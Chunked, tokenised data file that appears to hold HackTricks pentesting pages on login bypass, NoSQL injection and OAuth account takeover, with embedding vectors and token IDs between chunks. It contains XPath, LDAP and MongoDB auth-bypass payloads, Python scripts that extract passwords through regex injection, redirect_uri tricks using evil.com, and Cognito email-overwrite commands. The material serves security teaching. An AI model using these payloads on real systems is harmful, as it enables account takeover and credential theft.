[CLS] login bypassbypass regular loginif you find a login page, here you can find some techniques to try to bypass it : check for comments inside the page ( scroll down and to the right? ) check if you can directly access the restricted pagescheck to not send the parameters ( don't send any or only 1 ) check the php comparisons error : user [ ] = a & pwd = b, user = a & pwd [ ] = b, user [ ] = a & pwd [ ] = bchange content type to json and send json values ( bool true included ) if you get a response saying that post is not supported you can try to send the json in the body but with a get request with content - type : application / jsoncheck nodejs potential parsing error ( read this ) : password [ password ] = 1nodejs will transform that payload to a query similar to the following one : select id, username, left ( password, 8 ) as snipped _ password, email from accounts where username ='admin'and ` ` ` ` password = password = 1 ; which makes the password bit to be always true. if you can send a json object you can send " password " : { " password " : 1 } to bypass the login. remember that to bypass this login you still need to know and send a valid username. adding " stringifyobjects " : true option when calling mysql. createconnection will eventually block all unexpected behaviours when object is passed in the parameter. check credentials : default credentials of the technology / platform usedcommon combinations ( root, admin, password, name of the tech, default user with one of these passwords ). create a dictionary using cewl, add the default username and password ( if there is ) and try to brute - force it using all the words as usernames and passwordbrute - force using a bigger dictionary ( brute force ) sql injection authentication bypasshere you can find several tricks to bypass the login via sql injections. in the following page you can find a custom list to try to bypass login via sql injections : login bypass listno sql injection authentication bypasshere you can find several tricks to bypass the login via no sql injections. as the nosql injections requires to change the parameters value, you will need to test them manually. xpath injection
[ -0.10213758796453476, 0.1809324473142624, -0.2617844045162201, 0.26403558254241943, -0.7784156799316406, -0.10571390390396118, -0.03718099743127823, 0.46433883905410767, -0.2537161111831665, 1.5375896692276, 0.30527636408805847, -0.05239037424325943, 0.2581087350845337, -0.6859396696090698...
[ 101, 8833, 2378, 11826, 3762, 15194, 3180, 8833, 5498, 2546, 2017, 2424, 1037, 8833, 2378, 3931, 1010, 2182, 2017, 2064, 2424, 2070, 5461, 2000, 3046, 2000, 11826, 2009, 1024, 4638, 2005, 7928, 2503, 1996, 3931, 1006, 17186, 2091, 1998, 2...
hack_tricks
171.txt
0
authentication bypasshere you can find several tricks to bypass the login via xpath injection.'or'1'='1'or'' ='' or 1 ] % 00'or / * or'' or " a " or'' or 1 or'' or true ( ) or'' or string - length ( name (. ) ) < 10 or'' or contains ( name,'adm') or'' or contains (.,'adm') or'' or position ( ) = 2 or'admin'or'admin'or'1'='2ldap injection authentication bypasshere you can find several tricks to bypass the login via ldap injection. * * ) ( & * ) ( | ( & pwd ) * ) ( | ( * * ) ) % 00admin ) ( & ) pwdadmin ) (! ( & ( | pwd ) ) admin ) ) ( | ( | remember meif the page has " remember me " functionality check how is it implemented and see if you can abuse it to takeover other accounts. redirectspages usually redirects users after login, check if you can alter that redirect to cause an open redirect. maybe you can steal some information ( codes, cookies... ) if you redirect the user to your web. other checkscheck if you can enumerate usernames abusing the login functionality. check if auto - complete is active in the password / sensitive information forms input : < input autocomplete = " false " pentesting web - [SEP]
[ 0.2054251730442047, -0.6585286259651184, 0.08402963727712631, 0.005429121199995279, -0.3140341639518738, 0.01562035083770752, -0.08290859311819077, 0.4672315716743469, 0.35763585567474365, 0.8583676815032959, 0.7008345723152161, 0.5700598955154419, 0.5371390581130981, -0.40551304817199707,...
[ 27280, 11826, 5886, 2063, 2017, 2064, 2424, 2195, 12225, 2000, 11826, 1996, 8833, 2378, 3081, 26726, 8988, 13341, 1012, 1005, 2030, 1005, 1015, 1005, 1027, 1005, 1015, 1005, 2030, 1005, 1005, 1027, 1005, 1005, 2030, 1015, 1033, 1003, 4002, ...
hack_tricks
171.txt
1
[CLS] nosql injection use trickest to easily build and automate workflows powered by the world's most advanced community tools. nosql databases provide looser consistency restrictions than traditional sql databases. by requiring fewer relational constraints and consistency checks, nosql databases often offer performance and scaling benefits. yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional sql syntax. exploitin php you can send an array changing the sent parameter from parameter = foo to parameter [ arrname ] = foo. the exploits are based in adding an operator : username [ $ ne ] = 1 $ password [ $ ne ] = 1 # < not equals > username [ $ regex ] = ^ adm $ password [ $ ne ] = 1 # check a < regular expression >, could be used to brute - force a parameterusername [ $ regex ] =. { 25 } & pass [ $ ne ] = 1 # use the < regex > to find the length of a valueusername [ $ eq ] = admin & password [ $ ne ] = 1 # < equals > username [ $ ne ] = admin & pass [ $ lt ] = s # < less than >, brute - force pass [ $ lt ] to find more usersusername [ $ ne ] = admin & pass [ $ gt ] = s # < greater than > username [ $ nin ] [ admin ] = admin & username [ $ nin ] [ test ] = test & pass [ $ ne ] = 7 # < matches non of the values of the array > ( not test and not admin ) { $ where : " this. credits = = this. debits " } # < if >, can be used to execute codebasic authentication bypassusing not equal ( $ ne ) or greater ( $ gt ) # in urlusername [ $ ne ] = toto & password [ $ ne ] = totousername [ $ regex ] =. * & password [ $ regex ] =. * username [ $ exists ] = true & password [ $ exists ] = true # in json { " username " : { " $ ne " : null }, " password " : { " $ ne " : null } } { " username " : { " $ ne " : " foo " }, " password " : { " $ ne " : " bar " } } {
[ 0.19608968496322632, -0.03822914510965347, -0.31924474239349365, 1.0111221075057983, -0.4063471257686615, -0.3495350182056427, -0.4482012093067169, 0.2811902165412903, 0.1540180742740631, 1.2364968061447144, 1.040120244026184, 0.2545565664768219, 0.4341159164905548, -0.08431454747915268, ...
[ 101, 16839, 4160, 2140, 13341, 2224, 7577, 4355, 2000, 4089, 3857, 1998, 8285, 8585, 2147, 12314, 2015, 6113, 2011, 1996, 2088, 1005, 1055, 2087, 3935, 2451, 5906, 1012, 16839, 4160, 2140, 17881, 3073, 6065, 2099, 18700, 9259, 2084, 3151, ...
hack_tricks
172.txt
0
" username " : { " $ gt " : undefined }, " password " : { " $ gt " : undefined } } sql - mongonormal sql :'or 1 = 1 - - - mongo sql :'| | 1 = = 1 / / or'| | 1 = = 1 % 00extract length informationusername [ $ ne ] = toto & password [ $ regex ] =. { 1 } username [ $ ne ] = toto & password [ $ regex ] =. { 3 } # true if the length equals 1, 3... extract data informationin url ( if length = = 3 ) username [ $ ne ] = toto & password [ $ regex ] = a. { 2 } username [ $ ne ] = toto & password [ $ regex ] = b. { 2 }... username [ $ ne ] = toto & password [ $ regex ] = m. { 2 } username [ $ ne ] = toto & password [ $ regex ] = md. { 1 } username [ $ ne ] = toto & password [ $ regex ] = mdpusername [ $ ne ] = toto & password [ $ regex ] = m. * username [ $ ne ] = toto & password [ $ regex ] = md. * in json { " username " : { " $ eq " : " admin " }, " password " : { " $ regex " : " ^ m " } } { " username " : { " $ eq " : " admin " }, " password " : { " $ regex " : " ^ md " } } { " username " : { " $ eq " : " admin " }, " password " : { " $ regex " : " ^ mdp " } } sql - mongo /? search = admin'& & this. password % 00 - - > check if the field password exists /? search = admin'& & this. password & & this. password. match ( /. * / ) % 00 - - > start matching password /? search = admin'& & this. password & & this. password. match ( / ^ a. * $ / ) % 00 /? search = admin'& & this. password & & this. password. match (
[ 0.20751799643039703, -0.15980766713619232, 0.06643544137477875, 0.24713987112045288, -0.11771805584430695, -0.3763231337070465, -0.12663109600543976, 0.11251871287822723, 0.638720691204071, 1.2603260278701782, -0.34426626563072205, -0.06168126314878464, 0.05341796204447746, 0.1312805563211...
[ 1000, 5310, 18442, 1000, 1024, 1063, 1000, 1002, 14181, 1000, 1024, 6151, 28344, 1065, 1010, 1000, 20786, 1000, 1024, 1063, 1000, 1002, 14181, 1000, 1024, 6151, 28344, 1065, 1065, 29296, 1011, 12256, 7446, 2953, 9067, 29296, 1024, 1005, 203...
hack_tricks
172.txt
1
/ ^ b. * $ / ) % 00 /? search = admin'& & this. password & & this. password. match ( / ^ c. * $ / ) % 00... /? search = admin'& & this. password & & this. password. match ( / ^ duvj. * $ / ) % 00... /? search = admin'& & this. password & & this. password. match ( / ^ duvj78i3u $ / ) % 00 foundphp arbitrary function executionusing the $ func operator of the mongolite library ( used by default ) it might be possible to execute and arbitrary function as in this report. " user " : { " $ func " : " var _ dump " } get info from different collectionit's possible to use $ lookup to get info from a different collection. in the following example, we are reading from a different collection called users and getting the results of all the entries with a password matching a wildcard. [ { " $ lookup " : { " from " : " users ", " as " : " resultado ", " pipeline " : [ { " $ match " : { " password " : { " $ regex " : " ^. * " } } } ] } } ] use trickest to easily build and automate workflows powered by the world's most advanced community tools. blind nosqlimport requests, stringalphabet = string. ascii _ lowercase + string. ascii _ uppercase + string. digits + " _ @ { } - / ( )! \ " $ % = ^ [ ] : ; " flag = " " for i in range ( 21 ) : print ( " [ i ] looking for char number " + str ( i + 1 ) ) for char in alphabet : r = requests. get ( " http : / / chall. com? param = ^ " + flag + char ) if ( " < true > " in r. text ) : flag + = char print ( " [ + ] flag : " + flag ) breakimport requestsimport urllib3import stringimport urlliburllib3. disable _ warnings ( ) username = " admin " password = " " while true : for c in string. printable : if c not in ['* ','+ ',
[ -0.25180670619010925, -0.1371452361345291, -0.10600520670413971, 0.4098304510116577, -0.5066502094268799, 0.3928528130054474, -0.08396250754594803, 0.10929951816797256, 0.4047626852989197, 0.7628515958786011, 1.0976283550262451, -0.12723854184150696, 0.03300037235021591, 0.2562483251094818...
[ 1013, 1034, 1038, 1012, 1008, 1002, 1013, 1007, 1003, 4002, 1013, 1029, 3945, 1027, 4748, 10020, 1005, 1004, 1004, 2023, 1012, 20786, 1004, 1004, 2023, 1012, 20786, 1012, 2674, 1006, 1013, 1034, 1039, 1012, 1008, 1002, 1013, 1007, 1003, 4...
hack_tricks
172.txt
2
'. ', '? ','|'] : payload ='{ " username " : { " $ eq " : " % s " }, " password " : { " $ regex " : " ^ % s " } }'% ( username, password + c ) r = requests. post ( u, data = {'ids': payload }, verify = false ) if'ok'in r. text : print ( " found one more char : % s " % ( password + c ) ) password + = cmongodb payloadstrue, $ where :'1 = = 1 ', $ where :'1 = = 1'$ where :'1 = = 1'', $ where :'1 = = 1'1, $ where :'1 = = 1'{ $ ne : 1 } ', $ or : [ { }, {'a':'a'} ], $ comment :'successful mongodb injection'db. injection. insert ( { success : 1 } ) ; db. injection. insert ( { success : 1 } ) ; return 1 ; db. stores. mapreduce ( function ( ) { { emit ( 1, 1 | | 1 = = 1'& & this. password. match ( /. * / ) / / + % 00'& & this. passwordzz. match ( /. * / ) / / + % 00'% 20 % 26 % 26 % 20this. password. match ( /. * / ) / / + % 00'% 20 % 26 % 26 % 20this. passwordzz. match ( /. * / ) / / + % 00 { $ gt :'' } [ $ ne ] = 1toolshttps : / / github. com / an0nlk / nosql - mongodb - injection - username - password - enumerationhttps : / / github. com / c4l1b4n / nosql - attack - suitebrute - force login usernames and passwords from post loginthis is a simple script that you could modify but the previous tools can also do this task. import requestsimport stringurl = " http : / / example. com " headers = { " host " : " exmaple. com " } cookies = { " phpsessid " : " s
[ 0.5562120676040649, -0.18014293909072876, -0.4969072937965393, 1.0659517049789429, -0.2528149485588074, 0.19746696949005127, -0.6714786887168884, 0.1570921242237091, 0.09289533644914627, 0.7270739078521729, 0.09964394569396973, -0.14596523344516754, 0.001680138986557722, -0.158032953739166...
[ 1005, 1012, 1005, 1010, 1005, 1029, 1005, 1010, 1005, 1064, 1005, 1033, 1024, 18093, 1027, 1005, 1063, 1000, 5310, 18442, 1000, 1024, 1063, 1000, 1002, 1041, 4160, 1000, 1024, 1000, 1003, 1055, 1000, 1065, 1010, 1000, 20786, 1000, 1024, 1...
hack_tricks
172.txt
3
##3gcsgtqre05bah2vt6tibq8lsdfk " } possible _ chars = list ( string. ascii _ letters ) + list ( string. digits ) + [ " \ \ " + c for c in string. punctuation + string. whitespace ] def get _ password ( username ) : print ( " extracting password of " + username ) params = { " username " : username, " password [ $ regex ] " : " ", " login " : " login " } password = " ^ " while true : for c in possible _ chars : params [ " password [ $ regex ] " ] = password + c + ". * " pr = requests. post ( url, data = params, headers = headers, cookies = cookies, verify = false, allow _ redirects = false ) if int ( pr. status _ code ) = = 302 : password + = c break if c = = possible _ chars [ - 1 ] : print ( " found password " + password [ 1 : ]. replace ( " \ \ ", " " ) + " for username " + username ) return password [ 1 : ]. replace ( " \ \ ", " " ) def get _ usernames ( ) : usernames = [ ] params = { " username [ $ regex ] " : " ", " password [ $ regex ] " : ". * ", " login " : " login " } for c in possible _ chars : username = " ^ " + c params [ " username [ $ regex ] " ] = username + ". * " pr = requests. post ( url, data = params, headers = headers, cookies = cookies, verify = false, allow _ redirects = false ) if int ( pr. status _ code ) = = 302 : print ( " found username starting with " + c ) while true : for c2 in possible _ chars : params [ " username [ $ regex ] " ] = username + c2 + ". * " if int ( requests. post ( url, data = params, headers = headers, cookies = cookies, verify = false, allow _ redirects = false ). status _ code ) = = 302 : username +
[ 0.4781366288661957, 0.044715188443660736, 0.3150545656681061, 0.29274600744247437, -0.062021736055612564, 0.17805933952331543, -0.254989892244339, 0.48973068594932556, -0.01035243272781372, 0.7966729402542114, 0.3457966446876526, -0.058761317282915115, -0.21709230542182922, -0.569567680358...
[ 2509, 18195, 28745, 2102, 4160, 2890, 2692, 2629, 24206, 2475, 2615, 2102, 2575, 3775, 2497, 4160, 2620, 4877, 20952, 2243, 1000, 1065, 2825, 1035, 25869, 2015, 1027, 2862, 1006, 5164, 1012, 2004, 6895, 2072, 1035, 4144, 1007, 1009, 2862, ...
hack_tricks
172.txt
4
= c2 print ( username ) break if c2 = = possible _ chars [ - 1 ] : print ( " found username : " + username [ 1 : ] ) usernames. append ( username [ 1 : ] ) break return usernamesfor u in get _ usernames ( ) : get _ password ( u ) [SEP]
[ 0.3527836799621582, -0.16668935120105743, 0.7407425045967102, 0.04208865761756897, -0.09597089886665344, -0.45957282185554504, -0.15572312474250793, -0.013773716986179352, -0.4344031810760498, 1.506068229675293, 0.6745799779891968, -0.07210776954889297, 0.05756671354174614, -0.602602481842...
[ 1027, 29248, 6140, 1006, 5310, 18442, 1007, 3338, 2065, 29248, 1027, 1027, 2825, 1035, 25869, 2015, 1031, 1011, 1015, 1033, 1024, 6140, 1006, 1000, 2179, 5310, 18442, 1024, 1000, 1009, 5310, 18442, 1031, 1015, 1024, 1033, 1007, 5310, 18442,...
hack_tricks
172.txt
5
[CLS] oauth to account takeoverbasic informationthere are a couple different versions of oauth, you can read url to get a baseline understanding. in this article, we will be focusing on the most common flow that you will come across today, which is the oauth 2. 0 authorization code grant type. in essence, oauth provides developers an authorization mechanism to allow an application to access data or perform certain actions against your account, from another application ( the authorization server ). for example, let ’ s say website url has functionality to display all tweets you ’ ve ever sent, including private tweets. in order to do this, oauth 2. 0 is introduced. url will ask you to authorize their twitter application to access all your tweets. a consent page will pop up on url displaying what permissions are being requested, and who the developer requesting it is. once you authorize the request, url will be able to access to your tweets on behalf of you. elements which are important to understand in an oauth 2. 0 context : resource owner : the resource owner is the user / entity granting access to their protected resource, such as their twitter account tweets. in this example, this would be you. resource server : the resource server is the server handling authenticated requests after the application has obtained an access token on behalf of the resource owner. in this example, this would be urlclient application : the client application is the application requesting authorization from the resource owner. in this example, this would be url. authorization server : the authorization server is the server issuing access tokens to the client application after successfully authenticating the resource owner and obtaining authorization. in the above example, this would be urlclient _ id : the client _ id is the identifier for the application. this is a public, non - secret unique identifier. client _ secret : the client _ secret is a secret known only to the application and the authorization server. this is used to generate access _ tokensresponse _ type : the response _ type is a value to detail which type of token is being requested, such as codescope : the scope is the requested level of access the client application is requesting from the resource ownerredirect _ uri : the redirect _ uri is the url the user is redirected to after the authorization is complete. this usually must match the red
[ 0.1886703372001648, -0.21115480363368988, -0.06507853418588638, -0.016695600003004074, -0.4376376271247864, -0.19966520369052887, 0.3968762755393982, -0.044108934700489044, 0.6838130950927734, 0.9930430054664612, -0.022759482264518738, -0.1875859946012497, 0.4130944013595581, -0.2224251776...
[ 101, 1051, 4887, 2705, 2000, 4070, 15336, 22083, 2594, 2592, 12399, 2063, 2024, 1037, 3232, 2367, 4617, 1997, 1051, 4887, 2705, 1010, 2017, 2064, 3191, 24471, 2140, 2000, 2131, 1037, 26163, 4824, 1012, 1999, 2023, 3720, 1010, 2057, 2097, ...
hack_tricks
173.txt
0
##irect url that you have previously registered with the servicestate : the state parameter can persist data between the user being directed to the authorization server and back again. it ’ s important that this is a unique value as it serves as a csrf protection mechanism if it contains a unique or random value per requestgrant _ type : the grant _ type parameter explains what the grant type is, and which token is going to be returnedcode : this code is the authorization code received from the authorization server which will be in the query string parameter β€œ code ” in this request. this code is used in conjunction with the client _ id and client _ secret by the client application to fetch an access _ tokenaccess _ token : the access _ token is the token that the client application uses to make api requests on behalf of a resource ownerrefresh _ token : the refresh _ token allows an application to obtain a new access _ token without prompting the userreal exampleputting this all together, here is what a real oauth flow looks like : 1. you visit url and click the β€œ integrate with twitter ” button. 2. url sends a request to url asking you, the resource owner, to authorize url ’ s twitter application to access your tweets. the request will look like : url / auth? response _ type = code & client _ id = yourtweetreader _ clientid & redirect _ uri = url % 3a % 2f % 2fyourtweetreader. com % 2fcallback & scope = readtweets & state = kasodk9d1jd992k9klaskdh1233. you will be prompted with a consent page : 4. once accepted, twitter will send a request back to the redirect _ uri with the code and state parameters : url? code = asd91j3jd91j92j1j9d1 & state = kasodk9d1jd992k9klaskdh1235. url will then take that code, and using their application ’ s client _ id and client _ secret, will make a request from the server to retrieve an access _ token on behalf of you, which will allow them to access the permissions you consented to : post / oauth / access _ tokenhost : twitter. com... { " client _ id
[ -0.001262645237147808, -0.06207704171538353, -0.31204429268836975, 0.24691881239414215, -0.08573740720748901, 0.08212532848119736, -0.379651814699173, 0.46060022711753845, 0.7427674531936646, 0.7498595714569092, -0.5071252584457397, -0.26719218492507935, -0.11221259087324142, -0.3700113594...
[ 7442, 6593, 24471, 2140, 2008, 2017, 2031, 3130, 5068, 2007, 1996, 2578, 12259, 1024, 1996, 2110, 16381, 2064, 29486, 2951, 2090, 1996, 5310, 2108, 2856, 2000, 1996, 20104, 8241, 1998, 2067, 2153, 1012, 2009, 1521, 1055, 2590, 2008, 2023, ...
hack_tricks
173.txt
1
" : " yourtweetreader _ clientid ", " client _ secret " : " yourtweetreader _ clientsecret ", " code " : " asd91j3jd91j92j1j9d1 ", " grant _ type " : " authorization _ code " } 6. finally, the flow is complete and url will make an api call to twitter with your access _ token to access your tweets. bug bounty findingsnow, the interesting part! there are many things that can go wrong in an oauth implementation, here are the different categories of bugs i frequently see : weak redirect _ uri configurationthe redirect _ uri is very important because sensitive data, such as the code is appended to this url after authorization. if the redirect _ uri can be redirected to an attacker controlled server, this means the attacker can potentially takeover a victim ’ s account by using the code themselves, and gaining access to the victim ’ s data. the way this is going to be exploited is going to vary by authorization server. some will only accept the exact same redirect _ uri path as specified in the client application, but some will accept anything in the same domain or subdirectory of the redirect _ uri. depending on the logic handled by the server, there are a number of techniques to bypass a redirect _ uri. in a situation where a redirect _ uri is url / callback, these include : open redirects : url / callback? redirecturl = url : / / evil. compath traversal : url / callback /.. / redirect? url = url : / / evil. comweak redirect _ uri regexes : url. evil. comhtml injection and stealing tokens via referer header : url / callback / home / attackerimg. jpgother parameters that can be vulnerable to open redirects are : client _ uri - url of the home page of the client applicationpolicy _ uri - url that the relying party client application provides so that the end user can read about how their profile data will be used. tos _ uri - url that the relying party client provides so that the end user can read about the relying party's terms of
[ -0.26653796434402466, 0.21389438211917877, -0.5702162384986877, 0.23961053788661957, -0.6160541772842407, -0.07025650888681412, -0.24207763373851776, 0.5119283199310303, 0.6589266061782837, 1.027574062347412, 0.4018443524837494, 0.3614521920681, 0.561336100101471, -0.23839101195335388, -...
[ 1000, 1024, 1000, 2115, 2102, 28394, 7913, 9648, 2099, 1035, 7396, 3593, 1000, 1010, 1000, 7396, 1035, 3595, 1000, 1024, 1000, 2115, 2102, 28394, 7913, 9648, 2099, 1035, 7846, 8586, 13465, 1000, 1010, 1000, 3642, 1000, 1024, 1000, 2004, 2...
hack_tricks
173.txt
2
service. initiate _ login _ uri - uri using the url scheme that a third party can use to initiate a login by the rp. also should be used for client - side redirection. all these parameters are optional according to the oauth and openid specifications and not always supported on a particular server, so it's always worth identifying which parameters are supported on your server. if you target an openid server, the discovery endpoint at * *. well - known / openid - configuration * * sometimes contains parameters such as " registration _ endpoint ", " request _ uri _ parameter _ supported ", and " require _ request _ uri _ registration ". these can help you to find the registration endpoint and other server configuration values. xss in redirect implementationas mentioned in this bug bounty report url : / / blog. dixitaditya. com / 2021 / 11 / 19 / account - takeover - chain. html it might be possible that the redirect url is being reflected in the response of the server after the user authenticates, being vulnerable to xss. possible payload to test : url : / / app. victim. com / login? redirecturl = url : / / app. victim. com / dashboard < / script > < h1 > test < / h1 > csrf - improper handling of state parametervery often, the state parameter is completely omitted or used in the wrong way. if a state parameter is nonexistent, or a static value that never changes, the oauth flow will very likely be vulnerable to csrf. sometimes, even if there is a state parameter, the application might not do any validation of the parameter and an attack will work. the way to exploit this would be to go through the authorization process on your own account, and pause right after authorising. you will then come across a request such as : url? code = asd91j3jd91j92j1j9d1after you receive this request, you can then drop the request because these codes are typically one - time use. you can then send this url to a logged - in user, and it will add your account to their account. at first, this might not sound very sensitive since you are simply adding your account to a victim ’ s account. however, many oauth implementations are for sign - in purposes, so
[ -0.21940554678440094, -0.18971900641918182, -0.6842142939567566, 0.03603410720825195, -0.7703959941864014, -0.0908159464597702, -0.023162642493844032, 0.6315963864326477, 0.3126172721385956, 1.112188458442688, 0.5949082374572754, 0.43923819065093994, -0.17022539675235748, -0.47058683633804...
[ 2326, 1012, 17820, 1035, 8833, 2378, 1035, 24471, 2072, 1011, 24471, 2072, 2478, 1996, 24471, 2140, 5679, 2008, 1037, 2353, 2283, 2064, 2224, 2000, 17820, 1037, 8833, 2378, 2011, 1996, 1054, 2361, 1012, 2036, 2323, 2022, 2109, 2005, 7396, ...
hack_tricks
173.txt
3
if you can add your google account which is used for logging in, you could potentially perform an account takeover with a single click as logging in with your google account would give you access to the victim ’ s account. you can find an example about this in this ctf writeup and in the htb box called oouch. i ’ ve also seen the state parameter used as an additional redirect value several times. the application will use redirect _ uri for the initial redirect, but then the state parameter as a second redirect which could contain the code within the query parameters, or referer header. one important thing to note is this doesn ’ t just apply to logging in and account takeover type situations. i ’ ve seen misconfigurations in : slack integrations allowing an attacker to add their slack account as the recipient of all notifications / messagesstripe integrations allowing an attacker to overwrite payment info and accept payments from the victim ’ s customerspaypal integrations allowing an attacker to add their paypal account to the victim ’ s account, which would deposit money to the attacker ’ s paypalpre account takeoverone of the other more common issues i see is when applications allow β€œ sign in with x ” but also username / password. there are 2 different ways to attack this : 1. if the application does not require email verification on account creation, try creating an account with a victim ’ s email address and attacker password before the victim has registered. if the victim then tries to register or sign in with a third party, such as google, it ’ s possible the application will do a lookup, see that email is already registered, then link their google account to the attacker created account. this is a β€œ pre account takeover ” where an attacker will have access to the victim ’ s account if they created it prior to the victim registering. 2. if an oauth app does not require email verification, try signing up with that oauth app and then change the email address with a victim ’ s email address. the same issue as above could exist, but you ’ d be attacking it from the other direction and getting access to the victim ’ s account for an account takeover. disclosure of secretsit ’ s very important to recognize which of the many oauth parameters are secret, and to protect those. for example, leaking the client _ id is perfectly fine and necessary, but leaking the client _ secret is dangerous. if this is leaked, the
[ 0.4028748571872711, -0.6590102910995483, -0.29943254590034485, 0.13297663629055023, -0.311236172914505, -0.5268900394439697, 0.4641864597797394, 0.8577438592910767, 0.6484742164611816, 0.24960261583328247, 0.3162049949169159, 0.06356839835643768, 0.4521351754665375, -0.44413110613822937, ...
[ 2065, 2017, 2064, 5587, 2115, 8224, 4070, 2029, 2003, 2109, 2005, 15899, 1999, 1010, 2017, 2071, 9280, 4685, 2019, 4070, 15336, 2007, 1037, 2309, 11562, 2004, 15899, 1999, 2007, 2115, 8224, 4070, 2052, 2507, 2017, 3229, 2000, 1996, 6778, ...
hack_tricks
173.txt
4
attacker can potentially abuse the trust and identity of the trusted client application to steal user access _ tokens and private information / access for their integrated accounts. going back to our earlier example, one issue i ’ ve seen is performing this step from the client, instead of the server : 5. url will then take that code, and using their application ’ s client _ id and client _ secret, will make a request from the server to retrieve an access _ token on behalf of you, which will allow them to access the permissions you consented to. if this is done from the client, the client _ secret will be leaked and users will be able to generate access _ tokens on behalf of the application. with some social engineering, they can also add more scopes to the oauth authorization and it will all appear legitimate as the request will come from the trusted client application. client secret bruteforceyou can try to bruteforce the client _ secret of a service provider with the identity provider in order to be try to steal accounts. the request to bf may look similar to : post / token http / 1. 1content - type : application / x - www - form - urlencodedhost : 10. 10. 10. 10 : 3000content - length : 135connection : closecode = 77515 & redirect _ uri = http % 3a % 2f % 2f10. 10. 10. 10 % 3a3000 % 2fcallback & grant _ type = authorization _ code & client _ id = public _ client _ id & client _ secret = [ bruteforce ] referer header leaking code + stateonce the client has the code and state, if it's reflected inside the referer header when he browses to a different page, then it's vulnerable. access token stored in browser historygo to the browser history and check if the access token is saved in there. everlasting authorization codethe authorization code should live just for some time to limit the time window where an attacker can steal and use it. authorization / refresh token not bound to clientif you can get the authorization code and use it with a different client then you can takeover other accounts. happy paths, xss, iframes & post messages to leak code & state valuesaws cognitoin this bug bounty report : url : / / security. lauritz - holtmann. de / advisories / flickr - account - takeover / you can
[ 0.5925356149673462, -0.5556328892707825, -0.6221147179603577, 0.28499871492385864, -0.36818578839302063, -0.5505837798118591, -0.14144517481327057, -0.04145865887403488, 0.8162087798118591, 0.8409185409545898, 0.11705037206411362, 0.5568705201148987, 0.8059810400009155, -0.5859071612358093...
[ 17346, 2064, 9280, 6905, 1996, 3404, 1998, 4767, 1997, 1996, 9480, 7396, 4646, 2000, 8954, 5310, 3229, 1035, 19204, 2015, 1998, 2797, 2592, 1013, 3229, 2005, 2037, 6377, 6115, 1012, 2183, 2067, 2000, 2256, 3041, 2742, 1010, 2028, 3277, 10...
hack_tricks
173.txt
5
see that the token that aws cognito gives back to the user might have enough permissions to overwrite the user data. therefore, if you can change the user email for a different user email, you might be able to take over others accounts. # read info of the useraws cognito - idp get - user - - region us - east - 1 - - access - token eyjrawqioijpvj [... ] # change email addressaws cognito - idp update - user - attributes - - region us - east - 1 - - access - token eyjrawq [... ] - - user - attributes name = email, value = [ email protected ] { " codedeliverydetailslist " : [ { " destination " : " i * * * @ f * * *. com ", " deliverymedium " : " email ", " attributename " : " email " } ] } for more detailed info about how to abuse aws cognito check : aws - cognito unauthenticated enumhacktricks cloudtwo links & cookieaccording to this writeup, it was possible to make a victim open a page with a returnurl pointing to the attackers host. this info would be stored in a cookie ( ru ) and in a later step the prompt will ask the user if he wants to give access to that attackers host. to bypass this prompt, it was possible to open a tab to initiate the oauth flow that would set this ru cookie using the returnurl, close the tab before the prompt is shown, and open a new tab without that value. then, the prompt won't inform about the attackers host, but the cookie would be set to it, so the token will be sent to the attackers host in the redirection. ssrfs parametersone of the hidden urls that you may miss is the dynamic client registration endpoint. in order to successfully authenticate users, oauth servers need to know details about the client application, such as the " client _ name ", " client _ secret ", " redirect _ uris ", and so on. these details can be provided via local configuration, but oauth authorization servers may also have a special registration endpoint. this endpoint is normally mapped to " / register " and accepts post requests with the following format : post / connect / register http /
[ 0.4983268082141876, -0.25969815254211426, -0.8347213268280029, 0.7609838247299194, 0.02555420994758606, -0.13534104824066162, -0.17721690237522125, 0.4093683660030365, 0.40423348546028137, 0.5093925595283508, 0.4991401433944702, -0.11835058033466339, 0.6870157122612, -0.6338683366775513, ...
[ 2156, 2008, 1996, 19204, 2008, 22091, 2015, 2522, 29076, 3406, 3957, 2067, 2000, 1996, 5310, 2453, 2031, 2438, 6656, 2015, 2000, 2058, 26373, 1996, 5310, 2951, 1012, 3568, 1010, 2065, 2017, 2064, 2689, 1996, 5310, 10373, 2005, 1037, 2367, ...
hack_tricks
173.txt
6
1. 1content - type : application / jsonhost : server. example. comauthorization : bearer eyjhbgcioijsuzi1nij9. eyj... { " application _ type " : " web ", " redirect _ uris " : [ " url : / / client. example. org / callback " ], " client _ name " : " my example ", " logo _ uri " : " url : / / client. example. org / logo. png ", " subject _ type " : " pairwise ", " sector _ identifier _ uri " : " url : / / example. org / rdrct _ uris. json ", " token _ endpoint _ auth _ method " : " client _ secret _ basic ", " jwks _ uri " : " url : / / client. example. org / public _ keys. jwks ", " contacts " : [ " [ email protected ] " ], " request _ uris " : [ " url : / / client. example. org / rf. txt " ] } there are two specifications that define parameters in this request : rfc7591 for oauth and openid connect registration 1. 0. as you can see here, a number of these values are passed in via url references and look like potential targets for server side request forgery. at the same time, most servers we've tested don't resolve these urls immediately when they receive a registration request. instead, they just save these parameters and use them later during the oauth authorization flow. in other words, this is more like a second - order ssrf, which makes black - box detection harder. the following parameters are particularly interesting for ssrf attacks : logo _ uri - url that references a logo for the client application. after you register a client, you can try to call the oauth authorization endpoint ( " / authorize " ) using your new " client _ id ". after the login, the server will ask you to approve the request and may display the image from the " logo _ uri ". if the server fetches the image by itself, the ssrf should be triggered by this step. alternatively, the server may just include the logo via a client - side " < img > " tag. although this
[ 0.44348302483558655, -0.6671469211578369, -0.11932732164859772, 0.4728652536869049, -0.6670799851417542, 0.01108004990965128, -0.2528015673160553, -0.026891710236668587, 0.2514181137084961, 1.0600823163986206, 0.3636695146560669, -0.5916748642921448, 0.5612470507621765, -0.2227865010499954...
[ 1015, 1012, 1015, 8663, 6528, 2102, 1011, 2828, 1024, 4646, 1013, 1046, 3385, 15006, 2102, 1024, 8241, 1012, 2742, 1012, 16571, 14317, 10050, 9276, 1024, 20905, 1041, 2100, 3501, 2232, 2497, 18195, 3695, 28418, 6342, 5831, 2487, 3490, 3501,...
hack_tricks
173.txt
7
